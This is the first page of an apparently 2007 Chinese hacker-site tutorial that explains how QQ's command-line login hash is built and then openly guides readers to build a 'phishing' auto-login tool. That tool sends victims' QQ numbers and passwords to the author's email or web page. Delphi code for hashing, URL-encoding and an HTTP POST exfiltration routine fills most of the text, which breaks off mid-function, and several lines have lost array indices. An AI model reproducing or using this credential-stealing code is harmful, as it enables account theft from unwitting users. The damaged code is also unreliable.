当前位置:中国飞客联盟文章中心黑客技术Q Q黑客 → 探密QQ登陆加密算法兼谈简单打造一个QQ钓鱼工程.

探密QQ登陆加密算法兼谈简单打造一个QQ钓鱼工程.

减小字体 增大字体 作者:本站  来源:www.feikers.com  发布时间:2007-8-7 12:36:48

探密QQ登陆加密算法兼谈简单打造一个QQ钓鱼工程

1.QQ登陆加密算法

QQ命令行启动方式:

Quote:

QQ.exe /START QQUIN:QQ号码 PWDHASH:加密后的QQ密码 /STAT:登陆状态(40隐身,41正常)


其中PWDhash 原本是为实现 QQ 与 TM无缝切换而用的将密码加密传递的参数。使得用户能在 QQ 与 TM 之间快速切换而不用再次输入密码。

PWDHASH就是对我们的原始QQ密码进行MD5散列算法处理,得到一个16字节的MD5 HASH 字节组,然后再用BASE64编码对这个HASH字节组做第二次编码得到的。理论上说是无法从PWDHASH反推出原始的QQ密码的。但是,如果密码过于简单,如纯数字之类的,是可能被简单暴力破解的。

下面以Delphi代码讲解,附件中有Delphi的实现单元和相应的C#类,目的是让大家能够选择自己喜欢的编程语言实现

获取QQ命令行启动参数函数:(参数:QQ号码、QQ密码、登陆状态)
Code Language : Delphi

function GetCommandLine(QQNum, QQPw: string; QQState: integer): string;
type
  TempChar = array[0..15] of char;
var
  md5: TIdHashMessageDigest5;
begin
  md5 := TIdHashMessageDigest5.Create;
  result := ' /START QQUIN:' + QQNum + ' PWDHASH:' + Base64(TempChar(md5.HashValue(QQPw))) + ' /STAT:' + IntToStr(QQState);
  md5.Free;
end;

Parsed in 0.015 seconds
上面函数用到的Base64函数为:
Code Language : Delphi

function Base64(Src: string): string;
const
  DataSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var
  i, ModLen: integer;
  Current: string;
  Buf: array[1..3] of Byte;
  NewBuf: array[1..4] of Byte;
begin
  result := '';
  if Src = '' then
      exit;
  ModLen := Length(Src) mod 3;
  while Length(Src) > 0 do
  begin
      FillChar(Buf, 3, #0);
      Current := Copy(Src, 1, 3);
      Src := Copy(Src, 4, Length(Src) - 3);
      for i := 1 to 3 do
        Buf := Ord(Current);
      NewBuf[1] := Buf[1] shr 2;
      NewBuf[2] := (Buf[1] shl 6 shr 2 or Buf[2] shr 4) and $3F;
      NewBuf[3] := (Buf[2] shl 4 shr 2 or Buf[3] shr 6) and $3F;
      NewBuf[4] := Buf[3] and $3F;
      for i := 1 to 4 do
        result := result + DataSet[NewBuf + 1];
  end;
  if ModLen >= 1 then
      result[Length(result)] := '=';
  if ModLen = 1 then
      result[Length(result) - 1] := '=';
end;

Parsed in 0.037 seconds
这样就可以实现从命令行直接登陆QQ了。

另外我们还要获取QQ的安装路径:
在注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\TENCENT\PLATFORM_TYPE_LIST 下面有几个子键,1中的 TypePath 的键值为 QQ 的安装路径,2中的 TypePath 的键值为 TM 的安装路径。我们就可以通过读取注册表来获取QQ的安装路径了(其实现比较简单,请参见源码)。

2.简单打造QQ钓鱼工程

有了上面的QQ自动登陆的实现,我们就可以写出一个QQ自动登陆器了。这就和我要说的QQ钓鱼工程联系上了,聪明的你一定也想出来了。
编写一款优秀的QQ木马去截获QQ密码框中的密码对我等小菜来说难以实现,但我们却可以变相地去获取QQ密码:
当别人使用我们的QQ自动登陆器登陆QQ时,我们可以把他所输入的QQ以及密码发送到我们的邮箱或指定网页上,这里给出ASP发信的代码:

Code Language : Delphi

function HtmlEncode(s: string): string;
var
  i, v1, v2: integer;
  function i2s(b: byte): char;
  begin
      if b <= 9 then result := chr($30 + b)
      else result := chr($41 - 10 + b);
  end;
begin
  result := '';
  for i := 1 to length(s) do
      if s = ' ' then result := result + '+'
      else if (s < ' ') or (s in ['/', '\', ':', '&', '?', '|']) then
      begin
        v1 := ord(s) mod 16;
        v2 := ord(s) div 16;
        result := result + '%' + i2s(v2) + i2s(v1);
      end
      else result := result + s;
end;

function UpperCase(AStr: string): string; overload;
var
  LI: Integer;
begin
  Result := AStr;
  for LI := 1 to Length(Result) do
      Result[LI] := UpCase(Result[LI]);
end;

// 以Post方式发信
function PostURL(const aUrl: string; FTPostQuery: string; const strPostOkResult: string = 'Send OK!'): Boolean;
var
  hSession: HINTERNET;
  hConnect, hRequest: hInternet;
  lpBuffer: array[0..1024 + 1] of Char;
  dwBytesRead: DWORD;
  HttpStr: string;
  HostName, FileName: string;
  FTResult: Boolean;
  AcceptType: LPStr;
  Buf: Pointer;
  dwBufLen, dwIndex: DWord;
  procedure ParseURL(URL: string; var HostName, FileName: string);
      procedure ReplaceChar(c1, c2: Char; var St: string);
      var
        p: Integer;
      begin
        while True do
        begin
            p := Pos(c1, St);
            if p = 0 then Break
            else St[p] := c2;
        end;
      end;
  var
      i: Integer;
  begin
      if Pos(UpperCase('http://'), UpperCase(URL)) <> 0 then
        System.Delete(URL, 1, 7);
      i := Pos('/', URL);
      HostName := Copy(URL, 1, i);
      FileName := Copy(URL, i, Length(URL) - i + 1);
      if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
        SetLength(HostName, Length(HostName) - 1);
  end;
begin
  Result := False;
  hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  try
      if Assigned(hSession) then
      begin
        ParseURL(aUrl, HostName, FileName);
        hConnect := InternetConnect(hSession, PChar(HostName),
        INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);
        AcceptType := PChar('Accept: */*');
        hRequest := HttpOpenRequest(hConnect, 'POST', PChar(FileName), 'HTTP/1.0',
            nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
        HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
            PChar(FTPostQuery), Length(FTPostQuery));
        dwIndex := 0;
        dwBufLen := 1024;
        GetMem(Buf, dwBufLen);
        FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
            Buf, dwBufLen, dwIndex);
        if FTResult = True then
        try
            while True do
            begin
              dwBytesRead := 1024;
              InternetReadFile(hRequest, @lpBuffer, 102

[1] [2]  下一页